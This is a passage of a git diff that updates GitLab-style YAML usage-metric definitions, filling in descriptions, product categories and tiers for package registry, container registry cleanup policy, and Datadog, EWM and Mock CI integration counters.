-description: Projects with package registry configured
+description: Projects with package registry enabled
product_section: ops
-product_stage:
+product_stage: package
product_group: group::package
-product_category:
+product_category: package registry
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
-- ce
- ee
+- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181012_packages.yml b/config/metrics/counts_all/20210216181012_packages.yml
index 2843f223d9e..2934ebdc3d7 100644
--- a/config/metrics/counts_all/20210216181012_packages.yml
+++ b/config/metrics/counts_all/20210216181012_packages.yml
@@ -1,16 +1,18 @@
---
key_path: counts.packages
-description: Number of packages
+description: The total number of packages published to the registry
product_section: ops
-product_stage:
+product_stage: package
product_group: group::package
-product_category:
+product_category: package registry
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181014_projects_with_expiration_policy_disabled.yml b/config/metrics/counts_all/20210216181014_projects_with_expiration_policy_disabled.yml
index 69b893251ac..dbc5e4c0d0a 100644
--- a/config/metrics/counts_all/20210216181014_projects_with_expiration_policy_disabled.yml
+++ b/config/metrics/counts_all/20210216181014_projects_with_expiration_policy_disabled.yml
@@ -1,16 +1,18 @@
---
key_path: counts.projects_with_expiration_policy_disabled
-description:
+description: The number of projects with cleanup policy for tags turned off
product_section: ops
product_stage: package
product_group: group::package
-product_category:
+product_category: container registry
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181016_projects_with_expiration_policy_enabled.yml b/config/metrics/counts_all/20210216181016_projects_with_expiration_policy_enabled.yml
index 9e06674dc61..a71a36f19ca 100644
--- a/config/metrics/counts_all/20210216181016_projects_with_expiration_policy_enabled.yml
+++ b/config/metrics/counts_all/20210216181016_projects_with_expiration_policy_enabled.yml
@@ -1,16 +1,18 @@
---
key_path: counts.projects_with_expiration_policy_enabled
-description:
+description: A count of projects with the cleanup policy for tags turned on
product_section: ops
product_stage: package
product_group: group::package
-product_category:
+product_category: container registry
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181018_projects_with_expiration_policy_enabled_with_keep_n_set_to_1.yml b/config/metrics/counts_all/20210216181018_projects_with_expiration_policy_enabled_with_keep_n_set_to_1.yml
new file mode 100644
index 00000000000..7cf495c6091
--- /dev/null
+++ b/config/metrics/counts_all/20210216181018_projects_with_expiration_policy_enabled_with_keep_n_set_to_1.yml
@@ -0,0 +1,18 @@
+---
+key_path: counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_1
+description: A count of projects with the cleanup policy set to keep 1 tag
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: container registry
+value_type: number
+status: data_available
+time_frame: all
+data_source: database
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181020_projects_with_expiration_policy_enabled_with_keep_n_set_to_5.yml b/config/metrics/counts_all/20210216181020_projects_with_expiration_policy_enabled_with_keep_n_set_to_5.yml
new file mode 100644
index 00000000000..143d47835aa
--- /dev/null
+++ b/config/metrics/counts_all/20210216181020_projects_with_expiration_policy_enabled_with_keep_n_set_to_5.yml
@@ -0,0 +1,18 @@
+---
+key_path: counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_5
+description: A count of projects with the cleanup policy set to keep 5 tags
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: container registry
+value_type: number
+status: data_available
+time_frame: all
+data_source: database
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181022_projects_with_expiration_policy_enabled_with_keep_n_set_to_10.yml b/config/metrics/counts_all/20210216181022_projects_with_expiration_policy_enabled_with_keep_n_set_to_10.yml
new file mode 100644
index 00000000000..27ae7c56c24
--- /dev/null
+++ b/config/metrics/counts_all/20210216181022_projects_with_expiration_policy_enabled_with_keep_n_set_to_10.yml
@@ -0,0 +1,18 @@
+---
+key_path: counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_10
+description: A count of projects with the cleanup policy set to keep 10 tags
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: container registry
+value_type: number
+status: data_available
+time_frame: all
+data_source: database
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181024_projects_with_expiration_policy_enabled_with_keep_n_set_to_25.yml b/config/metrics/counts_all/20210216181024_projects_with_expiration_policy_enabled_with_keep_n_set_to_25.yml
new file mode 100644
index 00000000000..2c1c00ec965
--- /dev/null
+++ b/config/metrics/counts_all/20210216181024_projects_with_expiration_policy_enabled_with_keep_n_set_to_25.yml
@@ -0,0 +1,18 @@
+---
+key_path: counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_25
+description: A count of projects with the cleanup policy set to keep 25 tags
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: container registry
+value_type: number
+status: data_available
+time_frame: all
+data_source: database
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181025_projects_with_expiration_policy_enabled_with_keep_n_set_to_50.yml b/config/metrics/counts_all/20210216181025_projects_with_expiration_policy_enabled_with_keep_n_set_to_50.yml
new file mode 100644
index 00000000000..b735f009dae
--- /dev/null
+++ b/config/metrics/counts_all/20210216181025_projects_with_expiration_policy_enabled_with_keep_n_set_to_50.yml
@@ -0,0 +1,18 @@
+---
+key_path: counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_50
+description: A count of projects with the cleanup policy set to keep 50 tags
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: container registry
+value_type: number
+status: data_available
+time_frame: all
+data_source: database
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181027_projects_with_expiration_policy_enabled_with_keep_n_set_to_100.yml b/config/metrics/counts_all/20210216181027_projects_with_expiration_policy_enabled_with_keep_n_set_to_100.yml
new file mode 100644
index 00000000000..a14f17039e9
--- /dev/null
+++ b/config/metrics/counts_all/20210216181027_projects_with_expiration_policy_enabled_with_keep_n_set_to_100.yml
@@ -0,0 +1,18 @@
+---
+key_path: counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_100
+description: A count of projects with the cleanup policy set to keep 100 tags
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: container registry
+value_type: number
+status: data_available
+time_frame: all
+data_source: database
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181029_projects_with_expiration_policy_enabled_with_cadence_set_to_1d.yml b/config/metrics/counts_all/20210216181029_projects_with_expiration_policy_enabled_with_cadence_set_to_1d.yml
index 907fa82882c..daf4551b16d 100644
--- a/config/metrics/counts_all/20210216181029_projects_with_expiration_policy_enabled_with_cadence_set_to_1d.yml
+++ b/config/metrics/counts_all/20210216181029_projects_with_expiration_policy_enabled_with_cadence_set_to_1d.yml
@@ -1,16 +1,18 @@
---
key_path: counts.projects_with_expiration_policy_enabled_with_cadence_set_to_1d
-description:
+description: A count of projects with the cleanup policy set to run every day
product_section: ops
product_stage: package
product_group: group::package
-product_category:
+product_category: container registry
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181031_projects_with_expiration_policy_enabled_with_cadence_set_to_7d.yml b/config/metrics/counts_all/20210216181031_projects_with_expiration_policy_enabled_with_cadence_set_to_7d.yml
index 55ae6fc7a24..f67df5897ff 100644
--- a/config/metrics/counts_all/20210216181031_projects_with_expiration_policy_enabled_with_cadence_set_to_7d.yml
+++ b/config/metrics/counts_all/20210216181031_projects_with_expiration_policy_enabled_with_cadence_set_to_7d.yml
@@ -1,16 +1,18 @@
---
key_path: counts.projects_with_expiration_policy_enabled_with_cadence_set_to_7d
-description:
+description: A count of projects with the cleanup policy set to run every 7 days
product_section: ops
product_stage: package
product_group: group::package
-product_category:
+product_category: container registry
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181033_projects_with_expiration_policy_enabled_with_cadence_set_to_14d.yml b/config/metrics/counts_all/20210216181033_projects_with_expiration_policy_enabled_with_cadence_set_to_14d.yml
index 2e0bb6e06f5..5ac7179b486 100644
--- a/config/metrics/counts_all/20210216181033_projects_with_expiration_policy_enabled_with_cadence_set_to_14d.yml
+++ b/config/metrics/counts_all/20210216181033_projects_with_expiration_policy_enabled_with_cadence_set_to_14d.yml
@@ -1,16 +1,18 @@
---
key_path: counts.projects_with_expiration_policy_enabled_with_cadence_set_to_14d
-description:
+description: A count of projects with the cleanup policy set to run every 14 days
product_section: ops
product_stage: package
product_group: group::package
-product_category:
+product_category: container registry
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181035_projects_with_expiration_policy_enabled_with_cadence_set_to_1month.yml b/config/metrics/counts_all/20210216181035_projects_with_expiration_policy_enabled_with_cadence_set_to_1month.yml
index 5b6ec558b76..25ce0d633e4 100644
--- a/config/metrics/counts_all/20210216181035_projects_with_expiration_policy_enabled_with_cadence_set_to_1month.yml
+++ b/config/metrics/counts_all/20210216181035_projects_with_expiration_policy_enabled_with_cadence_set_to_1month.yml
@@ -1,16 +1,18 @@
---
key_path: counts.projects_with_expiration_policy_enabled_with_cadence_set_to_1month
-description:
+description: A count of projects with the cleanup policy set to run monthly
product_section: ops
product_stage: package
product_group: group::package
-product_category:
+product_category: container registry
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181037_projects_with_expiration_policy_enabled_with_cadence_set_to_3month.yml b/config/metrics/counts_all/20210216181037_projects_with_expiration_policy_enabled_with_cadence_set_to_3month.yml
index 6028972324d..f8df648b170 100644
--- a/config/metrics/counts_all/20210216181037_projects_with_expiration_policy_enabled_with_cadence_set_to_3month.yml
+++ b/config/metrics/counts_all/20210216181037_projects_with_expiration_policy_enabled_with_cadence_set_to_3month.yml
@@ -1,16 +1,18 @@
---
key_path: counts.projects_with_expiration_policy_enabled_with_cadence_set_to_3month
-description:
+description: A count of projects with the cleanup policy set to run every 3 months
product_section: ops
product_stage: package
product_group: group::package
-product_category:
+product_category: container registry
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181038_projects_with_expiration_policy_enabled_with_older_than_set_to_7d.yml b/config/metrics/counts_all/20210216181038_projects_with_expiration_policy_enabled_with_older_than_set_to_7d.yml
index c1bd230ec5b..29926d961e4 100644
--- a/config/metrics/counts_all/20210216181038_projects_with_expiration_policy_enabled_with_older_than_set_to_7d.yml
+++ b/config/metrics/counts_all/20210216181038_projects_with_expiration_policy_enabled_with_older_than_set_to_7d.yml
@@ -1,16 +1,18 @@
---
key_path: counts.projects_with_expiration_policy_enabled_with_older_than_set_to_7d
-description:
+description: A count of projects with the cleanup policy set delete tags older than 7 days
product_section: ops
product_stage: package
product_group: group::package
-product_category:
+product_category: container registry
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181040_projects_with_expiration_policy_enabled_with_older_than_set_to_14d.yml b/config/metrics/counts_all/20210216181040_projects_with_expiration_policy_enabled_with_older_than_set_to_14d.yml
index fc2e647a05e..28e905f980b 100644
--- a/config/metrics/counts_all/20210216181040_projects_with_expiration_policy_enabled_with_older_than_set_to_14d.yml
+++ b/config/metrics/counts_all/20210216181040_projects_with_expiration_policy_enabled_with_older_than_set_to_14d.yml
@@ -1,16 +1,18 @@
---
key_path: counts.projects_with_expiration_policy_enabled_with_older_than_set_to_14d
-description:
+description: A count of projects with the cleanup policy set delete tags older than 14 days
product_section: ops
product_stage: package
product_group: group::package
-product_category:
+product_category: container registry
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181042_projects_with_expiration_policy_enabled_with_older_than_set_to_30d.yml b/config/metrics/counts_all/20210216181042_projects_with_expiration_policy_enabled_with_older_than_set_to_30d.yml
index e8816d6f4f2..db0db2762d4 100644
--- a/config/metrics/counts_all/20210216181042_projects_with_expiration_policy_enabled_with_older_than_set_to_30d.yml
+++ b/config/metrics/counts_all/20210216181042_projects_with_expiration_policy_enabled_with_older_than_set_to_30d.yml
@@ -1,16 +1,18 @@
---
key_path: counts.projects_with_expiration_policy_enabled_with_older_than_set_to_30d
-description:
+description: A count of projects with the cleanup policy set delete tags older than 30 days
product_section: ops
product_stage: package
product_group: group::package
-product_category:
+product_category: container registry
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181044_projects_with_expiration_policy_enabled_with_older_than_set_to_90d.yml b/config/metrics/counts_all/20210216181044_projects_with_expiration_policy_enabled_with_older_than_set_to_90d.yml
index 367eae45062..c1854ea634a 100644
--- a/config/metrics/counts_all/20210216181044_projects_with_expiration_policy_enabled_with_older_than_set_to_90d.yml
+++ b/config/metrics/counts_all/20210216181044_projects_with_expiration_policy_enabled_with_older_than_set_to_90d.yml
@@ -1,16 +1,18 @@
---
key_path: counts.projects_with_expiration_policy_enabled_with_older_than_set_to_90d
-description:
+description: A count of projects with the cleanup policy set delete tags older than 90 days
product_section: ops
product_stage: package
product_group: group::package
-product_category:
+product_category: container registry
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181046_projects_with_expiration_policy_enabled_with_keep_n_unset.yml b/config/metrics/counts_all/20210216181046_projects_with_expiration_policy_enabled_with_keep_n_unset.yml
new file mode 100644
index 00000000000..983687d7a6c
--- /dev/null
+++ b/config/metrics/counts_all/20210216181046_projects_with_expiration_policy_enabled_with_keep_n_unset.yml
@@ -0,0 +1,18 @@
+---
+key_path: counts.projects_with_expiration_policy_enabled_with_keep_n_unset
+description: A count of projects with the cleanup policy with the number of tags to keep unset
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: container registry
+value_type: number
+status: data_available
+time_frame: all
+data_source: database
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181048_projects_with_expiration_policy_enabled_with_older_than_unset.yml b/config/metrics/counts_all/20210216181048_projects_with_expiration_policy_enabled_with_older_than_unset.yml
index f89b6ef698e..23f0b9b3b47 100644
--- a/config/metrics/counts_all/20210216181048_projects_with_expiration_policy_enabled_with_older_than_unset.yml
+++ b/config/metrics/counts_all/20210216181048_projects_with_expiration_policy_enabled_with_older_than_unset.yml
@@ -1,16 +1,18 @@
---
key_path: counts.projects_with_expiration_policy_enabled_with_older_than_unset
-description:
+description: A count of projects with the cleanup policy with the number of tags to delete unset
product_section: ops
product_stage: package
product_group: group::package
-product_category:
+product_category: container registry
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181051_vendor.yml b/config/metrics/counts_all/20210216181051_vendor.yml
index 1233659fa5c..29fc84d1b1c 100644
--- a/config/metrics/counts_all/20210216181051_vendor.yml
+++ b/config/metrics/counts_all/20210216181051_vendor.yml
@@ -1,17 +1,18 @@
---
key_path: container_registry_server.vendor
-description: Identifies if a user is using an external container registry and what
- type
+description: Identifies if a user is using an external container registry and what type
product_section: ops
product_stage: package
product_group: group::package
-product_category:
+product_category: container registry
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181055_projects_with_packages.yml b/config/metrics/counts_all/20210216181055_projects_with_packages.yml
index 55ea64a66a8..fb006b7f9ec 100644
--- a/config/metrics/counts_all/20210216181055_projects_with_packages.yml
+++ b/config/metrics/counts_all/20210216181055_projects_with_packages.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage.package.projects_with_packages
-description: Projects with package registry configured
+description: Projects with package registry enabled
product_section: ops
product_stage: package
product_group: group::package
-product_category:
+product_category: package registry
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: redis
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181259_jira_imports_projects_count.yml b/config/metrics/counts_all/20210216181259_jira_imports_projects_count.yml
index 321273f800e..df04f5d0669 100644
--- a/config/metrics/counts_all/20210216181259_jira_imports_projects_count.yml
+++ b/config/metrics/counts_all/20210216181259_jira_imports_projects_count.yml
@@ -15,4 +15,4 @@ distribution:
tier:
- free
- premium
-- ultimate \ No newline at end of file
+- ultimate
diff --git a/config/metrics/counts_all/20210216182547_projects_datadog_active.yml b/config/metrics/counts_all/20210216182547_projects_datadog_active.yml
index a96a88e9dab..66ec14d7c4d 100644
--- a/config/metrics/counts_all/20210216182547_projects_datadog_active.yml
+++ b/config/metrics/counts_all/20210216182547_projects_datadog_active.yml
@@ -1,16 +1,18 @@
---
key_path: counts.projects_datadog_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: 'Count of projects with active integrations for Datadog'
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182549_groups_datadog_active.yml b/config/metrics/counts_all/20210216182549_groups_datadog_active.yml
index caf9633e57f..1bc3803d82f 100644
--- a/config/metrics/counts_all/20210216182549_groups_datadog_active.yml
+++ b/config/metrics/counts_all/20210216182549_groups_datadog_active.yml
@@ -1,16 +1,18 @@
---
key_path: counts.groups_datadog_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of groups with active integrations for Datadog
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182551_templates_datadog_active.yml b/config/metrics/counts_all/20210216182551_templates_datadog_active.yml
index 9d911c6becf..8842e75f875 100644
--- a/config/metrics/counts_all/20210216182551_templates_datadog_active.yml
+++ b/config/metrics/counts_all/20210216182551_templates_datadog_active.yml
@@ -1,16 +1,18 @@
---
key_path: counts.templates_datadog_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of active service templates for Datadog
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182553_instances_datadog_active.yml b/config/metrics/counts_all/20210216182553_instances_datadog_active.yml
index 25f6a6468d7..be281f26290 100644
--- a/config/metrics/counts_all/20210216182553_instances_datadog_active.yml
+++ b/config/metrics/counts_all/20210216182553_instances_datadog_active.yml
@@ -1,16 +1,18 @@
---
key_path: counts.instances_datadog_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of active instance-level integrations for Datadog
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182555_projects_inheriting_datadog_active.yml b/config/metrics/counts_all/20210216182555_projects_inheriting_datadog_active.yml
index 97bfc3d2301..2c2d2aa6cb1 100644
--- a/config/metrics/counts_all/20210216182555_projects_inheriting_datadog_active.yml
+++ b/config/metrics/counts_all/20210216182555_projects_inheriting_datadog_active.yml
@@ -1,16 +1,18 @@
---
key_path: counts.projects_inheriting_datadog_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of active projects inheriting integrations for Datadog
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182557_groups_inheriting_datadog_active.yml b/config/metrics/counts_all/20210216182557_groups_inheriting_datadog_active.yml
index 6cbbcadbe04..324b461ceea 100644
--- a/config/metrics/counts_all/20210216182557_groups_inheriting_datadog_active.yml
+++ b/config/metrics/counts_all/20210216182557_groups_inheriting_datadog_active.yml
@@ -1,16 +1,18 @@
---
key_path: counts.groups_inheriting_datadog_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of active groups inheriting integrations for Datadog
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182614_projects_ewm_active.yml b/config/metrics/counts_all/20210216182614_projects_ewm_active.yml
index a0c8d827951..057906ecffd 100644
--- a/config/metrics/counts_all/20210216182614_projects_ewm_active.yml
+++ b/config/metrics/counts_all/20210216182614_projects_ewm_active.yml
@@ -1,16 +1,18 @@
---
key_path: counts.projects_ewm_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: 'Count of projects with active integrations for EWM'
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182616_groups_ewm_active.yml b/config/metrics/counts_all/20210216182616_groups_ewm_active.yml
index d41905af3b6..164466c69ba 100644
--- a/config/metrics/counts_all/20210216182616_groups_ewm_active.yml
+++ b/config/metrics/counts_all/20210216182616_groups_ewm_active.yml
@@ -1,16 +1,18 @@
---
key_path: counts.groups_ewm_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of groups with active integrations for EWM
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182618_templates_ewm_active.yml b/config/metrics/counts_all/20210216182618_templates_ewm_active.yml
index 0ef26b5b144..3bda8e71ac6 100644
--- a/config/metrics/counts_all/20210216182618_templates_ewm_active.yml
+++ b/config/metrics/counts_all/20210216182618_templates_ewm_active.yml
@@ -1,16 +1,18 @@
---
key_path: counts.templates_ewm_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of active service templates for EWM
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182620_instances_ewm_active.yml b/config/metrics/counts_all/20210216182620_instances_ewm_active.yml
index 29d73ebb943..57cda20793b 100644
--- a/config/metrics/counts_all/20210216182620_instances_ewm_active.yml
+++ b/config/metrics/counts_all/20210216182620_instances_ewm_active.yml
@@ -1,16 +1,18 @@
---
key_path: counts.instances_ewm_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of active instance-level integrations for EWM
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182622_projects_inheriting_ewm_active.yml b/config/metrics/counts_all/20210216182622_projects_inheriting_ewm_active.yml
index 8b6da149dfa..108ff88ee52 100644
--- a/config/metrics/counts_all/20210216182622_projects_inheriting_ewm_active.yml
+++ b/config/metrics/counts_all/20210216182622_projects_inheriting_ewm_active.yml
@@ -1,16 +1,18 @@
---
key_path: counts.projects_inheriting_ewm_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of active projects inheriting integrations for EWM
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182623_groups_inheriting_ewm_active.yml b/config/metrics/counts_all/20210216182623_groups_inheriting_ewm_active.yml
index 995849e5945..dd9902c0b41 100644
--- a/config/metrics/counts_all/20210216182623_groups_inheriting_ewm_active.yml
+++ b/config/metrics/counts_all/20210216182623_groups_inheriting_ewm_active.yml
@@ -1,16 +1,18 @@
---
key_path: counts.groups_inheriting_ewm_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of active groups inheriting integrations for EWM
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182722_projects_mock_ci_active.yml b/config/metrics/counts_all/20210216182722_projects_mock_ci_active.yml
index 1e7377ed707..cce2dedb709 100644
--- a/config/metrics/counts_all/20210216182722_projects_mock_ci_active.yml
+++ b/config/metrics/counts_all/20210216182722_projects_mock_ci_active.yml
@@ -1,16 +1,19 @@
---
key_path: counts.projects_mock_ci_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of projects with active integrations for Mock CI
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
-status: data_available
+status: removed
+milestone_removed: '13.12'
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182724_groups_mock_ci_active.yml b/config/metrics/counts_all/20210216182724_groups_mock_ci_active.yml
index adf7175c7c6..b41982786a9 100644
--- a/config/metrics/counts_all/20210216182724_groups_mock_ci_active.yml
+++ b/config/metrics/counts_all/20210216182724_groups_mock_ci_active.yml
@@ -1,16 +1,19 @@
---
key_path: counts.groups_mock_ci_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of groups with active integrations for Mock CI
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
-status: data_available
+status: removed
+milestone_removed: '13.12'
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182726_templates_mock_ci_active.yml b/config/metrics/counts_all/20210216182726_templates_mock_ci_active.yml
index 654ffad1ba6..786ecefcf1c 100644
--- a/config/metrics/counts_all/20210216182726_templates_mock_ci_active.yml
+++ b/config/metrics/counts_all/20210216182726_templates_mock_ci_active.yml
@@ -1,16 +1,19 @@
---
key_path: counts.templates_mock_ci_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of active service templates for Mock CI
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
-status: data_available
+status: removed
+milestone_removed: '13.12'
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182728_instances_mock_ci_active.yml b/config/metrics/counts_all/20210216182728_instances_mock_ci_active.yml
index 41958f501b7..13d5f4cc809 100644
--- a/config/metrics/counts_all/20210216182728_instances_mock_ci_active.yml
+++ b/config/metrics/counts_all/20210216182728_instances_mock_ci_active.yml
@@ -1,16 +1,19 @@
---
key_path: counts.instances_mock_ci_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of active instance-level integrations for Mock CI
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
-status: data_available
+status: removed
+milestone_removed: '13.12'
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216182730_projects_inheriting_mock_ci_active.yml b/config/metrics/counts_all/20210216182730_projects_inheriting_mock_ci_active.yml
index 63bafcd95d7..836d02ef768 100644
--- a/config/metrics/counts_all/20210216182730_projects_inheriting_mock_ci_active.yml
+++ b/config/metrics/counts_all/20210216182730_projects_inheriting_mock_ci_active.yml
@@ -1,16 +1,19 @@
---
key_path: counts.projects_inheriting_mock_ci_active
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of active projects inheriting integrations for Mock CI
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: number
-status: data_available
+status: removed
+milestone_removed: '13.12'
